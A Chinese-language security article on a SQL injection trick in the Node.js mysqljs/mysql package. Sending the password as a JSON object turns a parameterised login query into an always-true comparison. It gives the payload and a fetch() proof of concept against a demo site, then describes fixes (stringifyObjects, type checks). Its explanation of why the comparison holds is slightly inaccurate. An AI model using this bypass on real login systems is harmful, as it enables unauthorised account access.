MySQLjs 中的 SQL 注入技巧分析
前言
本文分析在 Node.js 生态中广泛使用的 mysqljs/mysql 包中发现的一种利用转义函数进行 SQL 注入的技术。这种技术在 Blackhat MEA CTF 2024 中出现过,展示了如何绕过常见的过滤函数实现 SQL 注入,特别是在"万能密码"场景中的应用。
技术背景
在 mysqljs/mysql 中,开发者通常使用以下方法来防止 SQL 注入:
connect.escape()mysql.escape()pool.escape()- 使用
?作为占位符的预处理语句
漏洞原理
转义函数的特性
mysqljs 的转义函数对不同数据类型的处理方式不同:
SqlString.escape = function escape(val, stringifyObjects, timeZone) {
if (val === undefined || val === null) {
return 'NULL';
}
switch (typeof val) {
case 'boolean': return (val) ? 'true' : 'false';
case 'number': return val + '';
case 'object':
if (val instanceof Date) {
return SqlString.dateToString(val, timeZone || 'local');
} else if (Array.isArray(val)) {
return SqlString.arrayToList(val, timeZone);
} else if (Buffer.isBuffer(val)) {
return SqlString.bufferToString(val);
} else if (typeof val.toSqlString === 'function') {
return String(val.toSqlString());
} else if (stringifyObjects) {
return escapeString(val.toString());
} else {
return SqlString.objectToValues(val, timeZone);
}
default: return escapeString(val);
}
};
关键点在于对对象的处理:当传入一个对象时,如果没有设置 stringifyObjects 选项,会调用 objectToValues 方法,将对象转换为 key = 'val' 的形式。
漏洞利用
考虑以下登录代码:
app.post("/auth", function(request, respond) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function(error, result, field) {
// ...
}
);
}
});
看起来使用了预处理语句,应该是安全的。但是,如果 Express 的 body-parser 允许 JSON 输入,攻击者可以构造一个特殊的 payload:
{
"username": "admin",
"password": {
"password": 1
}
}
当这个对象被传递给 mysqljs 的转义函数时,会生成类似 password = password = 1 的 SQL 片段,最终形成:
SELECT * FROM accounts WHERE username = 'admin' AND password = password = 1
这在 MySQL 中会被解释为比较操作,如果 password 列的值等于 password 变量的值(即 1),则条件成立,实现"万能密码"的效果。
漏洞复现
环境搭建
使用以下漏洞演示项目:
https://github.com/stypr/vulnerable-nodejs-express-mysql
攻击步骤
- 构造恶意请求:
data = {
username: "admin",
password: {
password: 1,
},
};
fetch("https://sqli.blog-demo.flatt.training/auth", {
headers: {
"content-type": "application/json",
},
body: JSON.stringify(data),
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => {
console.log(r);
});
- 观察响应,成功绕过认证
深入分析
数据类型测试
测试不同数据类型对 SQL 语句的影响:
var password_list = [
12341234, // Numbers
true, // Booleans
new Date("December 17, 1995 03:24:00"), // Date
new String("test_password_string"), // String Object
"test_password_string", // String
["array_test_1", "array_test_2"], // Array
[["a", "b"], ["c", "d"]], // Nested Array
{ obj_key_1: "obj_val_1" }, // Object
undefined,
null,
];
关键发现:对象类型会被转换为 key = 'val' 形式,这是漏洞利用的关键。
防御措施
方案一:启用 stringifyObjects
在创建连接时设置 stringifyObjects: true:
var connection = mysql.createConnection({
host: "db",
user: "login",
password: "login",
database: "login",
stringifyObjects: true,
});
方案二:输入类型检查
在接收参数时检查数据类型:
app.post("/auth", function(request, response) {
var username = request.body.username;
var password = request.body.password;
// 拒绝非字符串类型的输入
if (typeof username != "string" || typeof password != "string") {
response.send("Invalid parameters!");
response.end();
return;
}
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function(error, results, fields) {
// ...
}
);
}
});
总结
这种 SQL 注入技术利用了 mysqljs 对对象类型的特殊处理方式,通过构造特定的对象绕过预处理语句的保护。它展示了几个重要的安全原则:
- 即使使用了预处理语句,也需要关注库的具体实现
- 输入验证应该包括类型检查
- 了解依赖库的安全配置选项非常重要
这种技术在实际渗透测试中可能被忽视,因为常规的 SQL 注入字典中通常不包含这类 payload。开发者和安全研究人员都应该关注这类非传统的攻击向量。